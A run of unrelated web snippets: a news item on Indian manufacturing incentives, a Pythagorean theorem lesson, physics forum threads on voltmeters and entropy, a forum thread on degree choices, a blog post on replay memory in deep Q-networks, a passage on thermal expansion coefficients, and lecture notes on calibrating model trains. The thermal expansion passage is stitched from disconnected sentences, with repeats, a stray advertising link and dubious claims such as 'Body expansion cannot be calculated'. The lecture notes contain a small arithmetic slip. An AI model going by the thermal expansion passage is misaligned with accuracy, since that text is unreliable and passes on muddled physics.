• Under this, the govt will be providing incentives worth ₹ 6238 Cr for eligible investors in air conditioners and LED lights.
• The investors will have at least six months after the launch of the scheme to apply for it and submit the plans.
• The eligible investors would be incentivised at 4-6% on incremental sales (calculated with the base year of 2019-20) of goods manufactured in India for a period of five years.

ETW 6th Feb to 12th Feb 2021:-

Download the PPT of the video lecture from the link below:

ETW (6th Feb to 12th Feb 2021):- Download PPT Here

For more business news videos and PDFs, keep visiting the ‘Economy This Week’ segment regularly.


text:
What you’ll learn to do: Simplify radical expressions and solve equations with rational exponents

A hardware store sells 16-ft ladders and 24-ft ladders. A window is located 12 feet above the ground. A ladder needs to be purchased that will reach the window from a point on the ground 5 feet from the building. To find out the length of ladder needed, we can draw a right triangle as shown in Figure 1, and use the Pythagorean Theorem.

Figure 1

\begin{align} {a}^{2}+{b}^{2}& = {c}^{2} \\ {5}^{2}+{12}^{2}& = {c}^{2} \\ 169& = {c}^{2} \end{align}

Now we need to find out the length that, when squared, is 169, to determine which ladder to choose. In other word we need to find a square root. In this section we will investigate methods of finding solutions to problems such as this one.

Contribute!

Did you have an idea for improving this content? We’d love your input.


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# Simple question regarding the ideal voltage in an ammeter and a voltmeter

So this question came up as was revising past paper questions for the IB Physics exam.

While I understand that the resistance in an ideal ammeter is supposed to be zero as you're trying to measure the current without anything affecting it such as resistance, I was wondering why the resistance of an ideal voltmeter is better being infinite.

The answer to the question was B, by the way.

To measure the potential difference accross a component with a voltmeter, you need to connect the voltmeter in parallel with the component. Then the current can either flow accross the component (say a resistor) or accross the voltmeter. Since current is conserved ($I_{in} = I_{out}$) at a junction, the total current in will be the sum of the current that passes through the resistor and through the voltmeter.


text:
# Don't know which direction to go.

#### QuickTwist

##### Spiritual "Woo"
I am currently getting an Associates degree in computer science that will land me an Electrical Technician I job which pays anywhere from 35K-55k starting (I'm being conservative on the high end). I want to be making 100k+. I can't make that with just the Associates degree so I need more education. My instructors have said I am Bachelors material and this would be a possibility because I would start where the glass ceiling is for the Associates degree and no, they don't tell everyone that.

The other possibility is to have more of a math bent to my education. I believe this would be the most fulfilling granted I can get at least a masters. I grasp math concepts very quickly and can apply this knowledge to real world problems as you may have seen. It fact it is quite fun for me to do.

There is a problem to perusing a math degree. I have already spent a decent amount of money on my Associates degree and the credits won't transfer. I could however, test out of some classes that would eliminate the need to take certain classes which would save money.

So what do you guys think? Math or Bachelors?

 I have to take up to Physics in my Associates degree.

#### Ex-User (5841)

##### Banned
Get a job and do as many online classes as possible working toward the bachelors, and then get it and either move up in the same organization or get a different job. Rinse and repeat with the M.S. Some employers will pay for your M.S.

#### Animekitty

##### I am all of my perception (Sally 666)
If Bachelors is a sure thing maths wont get transferred I think you should go with more experience as that what they would be looking for at a higher paying job.

#### QuickTwist

##### Spiritual "Woo"
@THD, How does getting into a good university work itself out if I only got an 18 on ACT? Does it matter what my score was or what? Basically how do I get into a good University.

#### Ex-User (5841)

##### Banned
ACT/SAT score is less important if you already have an associates. "Good" universities also tend to be overrated, unless it's one that's known for specific programs. It's often a better idea to go to a more mediocre school, blow your peers out of the water (both academically and extracurricularly), and get top recommendations from your advisors and other profs. I mean... I graduated from the ever prestigious California University of Pennsylvania (the uni is in a tiny ass town in PA named California because some prospectors chickened out and decided to mine coal instead of gold) and got into a tier 1 research institution for grad school, so...

Saves $$too. Also, you may have trouble registering for courses, in which case it might be a good idea to pick up a minor (depending on the minor because some are absolutely worthless). #### Brontosaurie ##### Banned donate half of your salary to the people on here whom you've tormented with your very presence. you have decreased my life expectancy by approximately 3 years and i demand fair compensation. #### Absurdity ##### Prolific Member "Good" universities also tend to be overrated, unless it's one that's known for specific programs. It's often a better idea to go to a more mediocre school, blow your peers out of the water (both academically and extracurricularly), and get top recommendations from your advisors and other profs. I mean... I graduated from the ever prestigious California University of Pennsylvania (the uni is in a tiny ass town in PA named California because some prospectors chickened out and decided to mine coal instead of gold) and got into a tier 1 research institution for grad school, so... Saves$$$too. Yeah this is the route I wish I'd gone. Don't have a ton of debt but the little I have still looms over me. And my professors never really knew me even if I did well in their courses. #### Puffy ##### Demon Alpaca Overlord ACT/SAT score is less important if you already have an associates. "Good" universities also tend to be overrated, unless it's one that's known for specific programs. It's often a better idea to go to a more mediocre school, blow your peers out of the water (both academically and extracurricularly), and get top recommendations from your advisors and other profs. I mean... I graduated from the ever prestigious California University of Pennsylvania (the uni is in a tiny ass town in PA named California because some prospectors chickened out and decided to mine coal instead of gold) and got into a tier 1 research institution for grad school, so... Saves$ too.

Also, you may have trouble registering for courses, in which case it might be a good idea to pick up a minor (depending on the minor because some are absolutely worthless).
I can vouch for that working as well.

It's basically the same as asking whether to have an adviser who is a top professor in their field, or someone less known but up and coming. The latter is more likely to give you more energy and input as it will reflect well on them if you do well, where top professors have less time to give you and reason to support you.

#### Base groove

##### Banned
Take English, QT.

#### QuickTwist

##### Spiritual "Woo"
Take English, QT.
That's actually pretty funny.

I believe the right thing to do based on what the best advice was, is to get my Bachelors. There will be small class sizes hence better one on one instruction and better recommendations. As it stands I know I could probably get a recommendation from the Dean at my school as well as an expert in the field of electronics and ironically enough, a writing professor (believe it or not I am good at writing if I have the chance to edit my papers).

As far as Math goes, I still want to peruse some sort of math degree and I think this is very doable.

Thank you guys for giving me some good advice and clearing some things up for me.

#### Ex-User (5841)

##### Banned
Round the world and home again
That's the sailor's way
Faster faster, faster faster

There's no earthly way of knowing
Which direction we are going
There's no knowing where we're rowing
Or which way the river's flowing

Is it raining, is it snowing
Is a hurricane a–blowing

Not a speck of light is showing
So the danger must be growing
Are the fires of Hell a–glowing
Is the grisly reaper mowing

Yes, the danger must be growing
For the rowers keep on rowing
And they're certainly not showing
Any signs that they are slowing.

#### QuickTwist

##### Spiritual "Woo"
No doubt my plans may change but I expect/hope not. I am at the maturity level now where I can keep what values are important to me.


text:
Reinforcement Learning - Introducing Goal Oriented Intelligence

with deeplizard.

Replay Memory Explained - Experience for Deep Q-Network Training

November 3, 2018 by

Blog

Replay Memory explained

What’s up, guys? In this post, we’ll continue our discussion of deep Q-networks and focus in on an important technique called experience replay that is utilized during the training process of a DQN. So, let’s get to it!

Last time, we covered each piece of the architecture that makes up a typical deep Q-network. Now, before we can move on to discussing exactly how a DQN is trained, we're first going to explain the concepts of experience replay and replay memory.

Experience Replay and Replay Memory

With deep Q-networks, we often utilize this technique called experience replay during training. With experience replay, we store the agent’s experiences at each time step in a data set called the replay memory. We represent the agent’s experience at time $$t$$ as $$e_t$$.

At time $$t$$, the agent's experience $$e_t$$ is defined as this tuple:

$$e_t=(s_t,a_t,r_{t+1},s_{t+1})$$

This tuple contains the state of the environment $$s_t$$, the action $$a_t$$ taken from state $$s_t$$, the reward $$r_{t+1}$$ given to the agent at time $$t+1$$ as a result of the previous state-action pair $$(s_t,a_t)$$, and the next state of the environment $$s_{t+1}$$. This tuple indeed gives us a summary of the agent’s experience at time $$t$$.

All of the agent's experiences at each time step over all episodes played by the agent are stored in the replay memory. Well actually, in practice, we’ll usually see the replay memory set to some finite size limit, $$N$$, and therefore, it will only store the last $$N$$ experiences.

This replay memory data set is what we’ll randomly sample from to train the network. The act of gaining experience and sampling from the replay memory that stores these experience is called experience replay.

Why use experience replay?

Why would we choose to train the network on random samples from replay memory, rather than just providing the network with the sequential experiences as they occur in the environment?

A key reason for using replay memory is to break the correlation between consecutive samples.

If the network learned only from consecutive samples of experience as they occurred sequentially in the environment, the samples would be highly correlated and would therefore lead to inefficient learning. Taking random samples from replay memory breaks this correlation.

Combining a deep Q-network with experience replay

Alright, we now have the idea of experience replay down. From last time, we should also have an understanding of a general deep Q-network architecture, the data that the network accepts, and the output from the network.

As a quick refresher, remember that the network is passed a state from the environment, and in turn, the network outputs the Q-value for each action that can be taken from that state.

Let’s now bring all of this information in together with experience replay to see how they fit in with each other.

Setting up

Before training starts, we first initialize the replay memory data set $$D$$ to capacity $$N$$. So, the replay memory $$D$$ will hold $$N$$ total experiences.

Next, we initialize the network with random weights. We've covered weight initialization in the Deep Learning Fundamentals series, so if you need a refresher on this topic, check that out. The exact same concepts we covered there applies for deep Q-network weight initialization.

Next, for each episode, we initialize the starting state of the episode. In our previous discussion, we talked about states, including the starting state, being a frame of raw pixels from a game screen as an example.

Gaining experience

Now, for each time step $$t$$ within the episode, we either explore the environment and select a random action, or we exploit the environment and select the greedy action for the given state that gives the highest Q-value. Remember, this is the exploration-exploitation trade-off that we discussed in detail in a previous post.

We then execute the selected action $$a_t$$ in an emulator. So, for example, if the selected action was to move right, then from an emulator where the actions were being executed in the actual game environment, the agent would actually move right. We then observe the reward $$r_{t+1}$$ given for this action, and we also observe the next state of the environment, $$s_{t+1}$$. We then store the entire experience tuple $$e_t=(s_t,a_t,r_{t+1},s_{t+1})$$ in replay memory $$D$$.

Wrapping up

Here's a summary of what we have so far:

1. Initialize replay memory capacity.
2. Initialize the network with random weights.
3. For each episode:
1. Initialize the starting state.
2. For each time step:
1. Select an action.
• Via exploration or exploitation
2. Execute selected action in an emulator.
3. Observe reward and next state.
4. Store experience in replay memory.

In the next post, we're going to discover how exactly we sample from replay memory during training, as well as all the other details we need to know about training a DQN. Thanks for contributing to collective intelligence, and I'll see ya in the next one!

Description


text:
# Entropy of free expansion

I learnt that
$$dS = \frac Q T$$
In free expansion of Ideal gas, it is obvious that Q = 0. However, the entropy increases. I guess the reason is that it is because the process is not quasistatic. If I am right, why is this process not quasistatic. If I am not, what's wrong with the formula above. Thanks!

In free expansion the system does not pass through a series of equilibrium states. The P, T and S do not have the same value throughout the extent of the system at every instant. It starts with equilibrium state ends in equilibrium state but in between we are not sure rather we are sure it is not in equilibrium.

Chestermiller
Mentor
I learnt that
$$dS = \frac Q T$$
In free expansion of Ideal gas, it is obvious that Q = 0. However, the entropy increases. I guess the reason is that it is because the process is not quasistatic. If I am right, why is this process not quasistatic. If I am not, what's wrong with the formula above. Thanks!
The equation you wrote is incorrect. If you learned it that way, then you were taught incorrectly. The correct formula is $$\Delta S=\int{\frac{dQ_{rev}}{T}}$$
What do you think the subscript "rev" stands for?

Here is a reference to my recent Physics Forums Insights article the provides a cookbook recipe for determining the entropy change in an irreversible process: https://www.physicsforums.com/insights/grandpa-chets-entropy-recipe/
See in particular Example 3

Here is another article on entropy and the second law that should help with your understanding: https://www.physicsforums.com/insights/understanding-entropy-2nd-law-thermodynamics/

I am not sure if I am correct. Q may not always be full differential, so I guess we can't always write dQ?

Chestermiller
Mentor
I am not sure if I am correct. Q may not always be full differential, so I guess we can't always write dQ?
As I said, your exact problem is solved in Example 3.

But gas is pushing nothing, isn't that the work done = 0?

Chestermiller
Mentor
Who said that the work done is not zero? Did you read what I wrote?

dq is not perfect differential but [dS =(dq/T)] is perfect differential and T is called integrating factor. One may argue that for infinitesimal dq T can be considered as constant but for the process under consideration at any instant during the process if you were to measure T at different points in the mass of gas you will not get the same value which will convince you that the mass of gas does not have definite value of temperature hence the gas is not in equilibrium at any instant during the process. So formula is not applicable.

Mayan Fung
dq is not perfect differential but [dS =(dq/T)] is perfect differential and T is called integrating factor. One may argue that for infinitesimal dq T can be considered as constant but for the process under consideration at any instant during the process if you were to measure T at different points in the mass of gas you will not get the same value which will convince you that the mass of gas does not have definite value of temperature hence the gas is not in equilibrium at any instant during the process. So formula is not applicable.


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## thermal expansion coefficient

Crystals tend to have the lowest thermal expansion … Coefficient of thermal expansion must be considered in components that use a mixture of materials such as heat exchangers with mild steel shells and austenitic grade tubes. From this observation it can be determined that the amount that a body expands in response to a rise in temperature is linearly dependent on the original size of the body. Coefficient of linear thermal expansion is designated by the symbol α (alpha). The coefficient of thermal expansion is defined as the change in length or volume of a material for a unit change in temperature. The thermal expansion of materials can be a major roadblock for building and designing, however, many application processes and technologies have been designed with thermal expansion as a fundamental component of function. Expansion of a gas at constant pressure can be calculated from Charles/Gay-Lussac Law as can the pressure at constant volume with increasing temperature. An observational approach can be adopted to find a useful equation to predict the resulting size of a body after a temperature change. In calculating entropy change for a solid under isothermal pressure change, we used thermal volume expansion coefficient ($${ \alpha }_{ V }$$). It is also obvious through observation that all materials expand differently. The expansion of alcohol in a thermometer is one of many commonly encountered examples of thermal expansion, which is the change in size or volume of a given system as its temperature changes.The most visible example is the expansion of hot air. A little compression is good, alot is bad. Thermal expansion coefficients for some common materials: 10-6 m/moC = 1 μm/moC … … THE COEFFICIENT OF LINEAR thermal expansion (CTE, α, or α 1) is a material property that is indicative of the extent to which a mate-rial expands upon heating. Linear thermal expansion coefficients for aluminum and … Barron, T.H.K., Collins, J.C., & White, G.K. (1980). There are a few examples of dilatometers that are designed to measure the volume of solid metal pieces to determine thermal expansion. BN, Zinc Blende. What is the SI unit of thermal expansion? In the video, we used the relationship Other materials such as silicon carbide used in the construction of space telescopes are finely tuned for temperatures as low as -190oC. Body expansion cannot be calculated. Thermal expansion is most obvious in gasses and liquids but can still have a substantial effect on solids. Thus, For most solids the coefficient β p is positive, typically 10 −5 and tables are available for … Thermal expansion describes the tendency of an object to change its dimension either in length, area or volume due to heat. CTE is usually given in units of um/m/°C or ppm/°C. Linear thermal expansion coefficient is defined as material's fractional change in length divided by the change in temperature. Coefficient of thermal expansion ( x10-6 K-1) 250-300: Lower working temperature ( C )-70 to -50: Specific heat ( J K-1 kg-1) 1300 - 1500: Thermal conductivity @23C ( W m-1 K-1) 0.22: Upper working temperature ( C ) 200-260 The amount by which a substance expands in reaction to a change in temperature is mathematically represented by a coefficient of thermal expansion. If the temperature increases, then the volume of the material also increases. per degree Fahrenheit or Celsius. To convert the coefficient of linear expansion into the coefficient of area expansion, multiply by 2 (don't square it). Since α is a constant unknown coefficient, it can be said that 3α is a new constant unknown coefficient named the coefficient of volume thermal expansion, (β). It has significantly higher accuracy than dilatometry. This causes objects to get bigger as their temperature increases. One design is the capacitance dilatometers. In particular, YSZ has a thermally stable phase structure and chemical inertness in both oxidative and reductive environments. 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However, in most cases, not volume but linear expansion coefficients ($${ \alpha }_{ L }$$) are available. Stainless steels are perhaps the most commonly measured due to their abundant use in many applications. The degree of expansion divided by the change in temperature is called the material's coefficient of thermal expansion and generally varies with temperature. Linear thermal expansion coefficient. Linear thermal expansion is the most common calculation used to estimate the expansion caused by a change in temperature. (∂ρ / ∂T) p. For an isotropic material such as an amorphous polymer, the volumetric expansion coefficient is in … The coefficient of thermal expansion is the rate at which the size of a material changes with respect to temperature change. Measurements of a change in volume caused by a physical or chemical process is called dilatometry. If you cannot find it, try using a reference table to get an approximate value. This coefficient is unique to each material and is based on their other physical properties. Coefficient of thermal expansion is defined as the change in unit length per degree of temperature change. For gas, it is important to keep the pressure constant as gases will expand at constant temperatures and reduced pressures. Thermal expansion of solids at low temperatures. More specifically, this coefficient is determined at constant pressure and without a phase change, i.e. Table 1. The SI unit of thermal expansion coefficient is (°C) -1 and U.S. customary unit is (°F) -1. Linear thermal expansion is the most common calculation used to estimate the expansion caused by a change in temperature. Over small temperature ranges, the thermal expansion of uniform linear objects is proportional to temperature change. This agitation varies from material to material and different materials respond to temperature increase in different ways because of their atomic bonds and molecular structures. It generally measures the fractional change in the size of the object with the change in the temperature keeping the pressure constant. However, extra dimensions such as cm/cm or mm2/mm2 are added to the unit so that it can be inferred whether the coefficient is linear, area or volumetric. Different substances expand by different amounts. Expansion Coefficient, also known as coefficient of thermal expansion is the change in the size of an object (could be solid, liquid or in gaseous state) with the rate of change in the temperature. Use the image below for guidance. Visitez https:// pro.wordscope.com. Over small tem-perature ranges, the thermal expansion of uni-form linear objects is proportional to tempera-ture change. © 2021 Matmatch GmbH, All rights reserved. There are other less common methods being devised and used in certain special conditions. Different substances expand by different amounts. In some cases, it is desirable that the CTE of the material used to be very low (such as in low-expansion alloys) and in some cases, it is required to be as high as possible (such as in aluminium alloys). The coefficient of thermal expansion is also often defined as the fractional increase in length per unit rise in temperature. The coefficient of thermal expansion of molybdenum plots … The change in area due to thermal expansion is Δ A = 2α A Δ T , where Δ A is the change in area. Welding The coefficient of thermal expansion is an important factor when welding two dissimilar base metals. The temperature was programmed from room temperature to 300 °C at a heating rate of 5 °C/min. Thermomechanical analysis involves the use of an apparatus which, through a probe transmitter and a transducer, can measure thermal expansion with respect to temperature differences. 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# Lecture 16 - Trains

## Public Service Annoucements

1. Kernel 4 due in class on Friday, 17 June.
2. First train control demo is in the trains lab on Tuesday, 27 June.
3. PDF documents containing mathematics.

## The Train Project

### Terminology

Note. I try to be consistent in distinguishing between two closely related concepts: speed and velocity.

• A train's speed is the value you send to the train controller, an integer between 0 and 14.
• A train's velocity is the rate at which it moves along the physical tracks, a real number measured in centimetres per second.
• Some trains actually have more than fourteen velocities: they go at different velocities when you decelerate to a speed than when you accelerate to it. (Not many of these trains remain.)

Velocity is controlled by changing the train's speed, BUT, the mapping between speed and velocity is not simple.

• Speed changes are effectovely instantaneous, but velocity changes are not.
• After the speed is changed the train's velocity changes gradually: whether increasing or decreasing.
• `Tricks' that make the train stop instantly are not acceptable because they wear out the trains.
• The velocity decreases when travelling over turn outs or around curves.
• The smaller the radius of curvature the slower the velocity.
• Different locomotives travel at different velocities when set to the same speed.
• Velocity of a given locomotive decreases over time
• As the track gets dirty.
• As the time since the locomotive's last lubrication increases
• As the locomotive gradually wears out

Important . Some of these effects matter; some don't. It's part of your task to find out which effects matter and which don't. (If you don't figure out which is which you will spend an unlimited amount of time.)

#### Note on precision

We are going to be doing arithmetic. Should we do it in fixed point, which requires thought, or floating point, which has the inconvenience of increased state to save, not to mention compiler incompatibilities?

The biggest fixed point number is 2^31. How big is this? 2^10 = 10^3 = 1000, 2^30 = 10^9 = 1 000 000 000, 2^31 = 2 000 000 000.

Suppose that the smallest distance you care about is 0.1 mm. 2*10^9 of them is 200 000 metres or 200 Km, twice the distance to Toronto. At 50 cm/sec, about as fast as a train can go, a train travels about 1 m per minute, 60 m per hour, 1.5 km per day. It will take about 100 days, 30 months to travel 200 Km.

A very successful final demo runs for 15 min, 0.25 of an hour, 0.01 of a day. You have a factor of 10 000 before you will start to see round-off error.

Furthermore, things can go wrong, such as

• A turn-out switches while a locomotive is on top of it.
• You need to estimate where the train will be when the turn-out switches in order to know if it is safe to execute a switch command.
• Locomotives run off the ends of sidings.
• You need to know how far a train will travel between when you give the stop command and when the train stops.
• Locomotives stall because they pass over difficult parts of the track too slowly. Why?
• Friction increases when a train is on curved track.
• The pickup lifts as the train travels over a sensor.
You need to know how fast trains must move to avoid stalling.
• Sensors fail to trigger, or trigger in the absence of a locomotive
• You need to know when you expect the sensor to be triggered if you are to know that it has not been triggered.

Avoiding such failures, or responding sensibly to them, is possible only if you have a `good enough' velocity calibration. (You get a perfect calibration only in the limit t->infinity, and the train you are calibrating falls over dead long before that.)

Such failures like these also pollute your attempt to acquire reliable data for your calibration.

# Train Properties

## Where is a train?

There are two methods of knowing where you are:

1. Being at a landmark: "I am at the big tree." I know that's true because I can see the big tree right beside me.
2. Knowing where you started and how far, in what direction you have travelled: "I am three blocks north of the big tree." Calculating how far you have travelled is usually done by "dead reckoning".
• Count the blocks as you walk.
• The odometre on the car integrates the velocity by counting revolutions of the wheels.
• Sailing ships threw a log over the side and counted knots.
For you project you choose landmarks
• sensors, turn-outs, etc.
• Remember the importance of fiducial marks: on the track, on the train.
You then know when the train is at a given landmark, and find a way -- most likely by integrating velocity -- to know how far it is past the landmark at any given time. If so, you need to know each train's velocity.

## 1. Calibrating Stopping Distance

The simplest objective:

• know where the train stops when you give it a command to stop
• restrict the stop commands to just after the train passes a sensor
• only one train moving

Sequence of events

1. Train triggers sensor n at t.
• The train is at Sn + 0 cm.
2. Somewhat later you ( = one of your tasks) send a command to the train controller asking it to poll the sensors. The time is t + t1.
3. You receive the reply from the train controller: sensor n has been triggered. The time is t + t1 + t2.
4. You send the speed zero command. The time is t + t1 + t2 + t3.
5. The train controller receives the command and forwards it to the train. The time is t + t1 + t2 + t3 + t4.
6. Train receives the command and starts slowing down. The time is t + t1 + t2 + t3 + t4 + t5.
7. The train stops at t + t1 + t2 + t3 + t4 + t5 + t6.
• The train is at Sn + y cm.
• (You measure y with a tape measure.)

#### Fiducial Marks

When you pull out the tape measure to measure y you need to know the two locations between which you are to measure.

• It's pretty obvious where the sensor is,
• but where is the train?
• the pickup? front or back?
• the front bumper?
• the back bumper?
It doesn't matter which place you choose, but it matters a lot that you always use the same place.

You have just chosen a "fiducial mark", a location you can recognize so that you can make a comparable measurement the next time. Some landmarks, switches, for example, also require you to choose fiducial points carefully.

• If you do this again, same sensor, same speed, will you get the same answer?
• If you do this again, different sensor, same speed, will you get the same answer?
• If you do this again, same sensor, different speed, will you get the same answer?
• If you do this again, different sensor, different speed, will you get the same answer?
• Or a different train, or different track condition, or ...

1. The sequence of events above has a whole lot of small delays that get added together
• Each one has a constant part and a random part. Try to use values that are differences of measurements to eliminate the constant parts.
• Some delays can be eliminated a priori because they are extremely small compared to other delays. The more you figure this out in advance the less measurement you have to do.
2. Knowing where you stop is very important when running the train on routes that require reversing
• Why are reversing routes important?
3. Clearly, knowing when you stop is equally important.

This is very time-consuming!

• The simplest way to reduce the number of measurements is to eliminate factors that are unimportant.
• The only way to know that a factor is always unimportant is to measure. Developing the ability to estimate quickly, and to find the worst case quickly is the main way of being smart in tasks like this one.

Now make a table

 Sensor 1 Sensor 2 ... Speed 6 Speed 8 ...

There are enough measurements in each cell of the table that you can estimate the random error. (Check with other groups to make certain that your error is not too big.)

Based on calibrations I have seen in previous terms you will find substantial variation with speed setting and train, little variation with sensor.

Group across cells that have the `same' value. Maybe all have the same value.

Hint. Interacting with other groups is useful to confirm that you are on track. Of course, simply using another group's calibration, with or without saying so, is `academic dishonesty'.

### Measuring the time to stop

In addition to the stopping distance you will want to know the time it takes to stop. A simple way to do so is

1. Start a stopwatch when you give the stop command.
2. Stop the stopwatch when you see that the train is stopped.

This might not be accurate enough for you. When you have calibrated the velocity and can stop anywhere on the track there's a better way.

1. Give the stop command so that the train will stop with its pickup on a sensor, recording the time you when you give the command.
2. When the sensor triggers, check the time.

## 2. Calibrating Constant Velocity

At this point there are a few places on the track where you can stop with a precision of a train length or better. However, suppose you want to stop not sitting on a switch.

• You want to be close to the switch, clear of the switch, and on the right side of the switch when you stop.
• You want to know when the train has stopped because until then you cannot give the command to throw the switch.
• You want to know when the switch-throwing is complete because until then you cannot start the train running in reverse.

To do this successfully you have to be able to give the stop command anywhere on the track.

### Knowing the Current Velocity

An implicit assumption you are making is that the future will closely resemble the past.

1. You measure the time interval between two adjacent sensor reports.
2. Knowing the distance between the sensors you calculate the velocity of the train
• velocity = distance / time interval
• measured in cm / sec.

Note that on average the lag mentioned above -- waiting for sensor read, time in train controller, time in your system before time stamp -- is unimportant.

• Sensor1 actually hit at ${t}_{1}$.
• You record (S1, t1 + dt) as the first event.
• Sensor2 actually hit at t2
• You record (S2, t2 + dt) as the second event
• You compute the velocity as (S2 - S1) / (t2 + dt - (t1 + dt)) = (S2 - S1) / (t2 - t1)
• But the variation in dt from measurement to measurement adds noise to the measurement.
3. After many measurements you build a table
• Use the table to determine the current velocity
• Use the time since the last sensor report to calculate the distance beyond the sensor
• distance = velocity * time interval

### Using Resources Effectively

The most scarce resources

• Bandwidth to the train controller
• Use of the train itself.

The two most plentiful resources

• CPU

Any time you can use a plentiful resource to eliminate use of a scarce one you have a win. Two examples

1. Squeeze all the functionality you can from every measurement. Every time you pass a sensor you can use the measurement to improve your velocity calibration.
2. Use your time with the trains efficiently. There's a lot of setup time each time you start using the train. make as many measruements as you can to economize on set-up time effectively. make it possible to change program parameters from the terminal.

### Practical Problems You Have to Solve

1. The table is too big. (Actually both tables!)
• You potentially need a ton of measurements
2. The values you measure vary randomly.
• You need to average and estimate error.

The values you measure vary systematically

• For example, each time you measure the velocity estimate is slower, presumably because the train is moving towards needing oiling.
• You need to make fewer measurements or use the measurement you make more effectively.

## 3. Calibrating Acceleration and Deceleration

### How Long does it Take to Stop?

Try the following exercise.

1. Choose a sensor.
2. Put the train on a course that will cross the sensor.
3. Run the train up to a constant speed.
4. Give the speed zero command at a location that stops the train with its contact on the sensor
5. Calculate the time between when you gave the command and when the sensor triggered.
6. Look for regularities.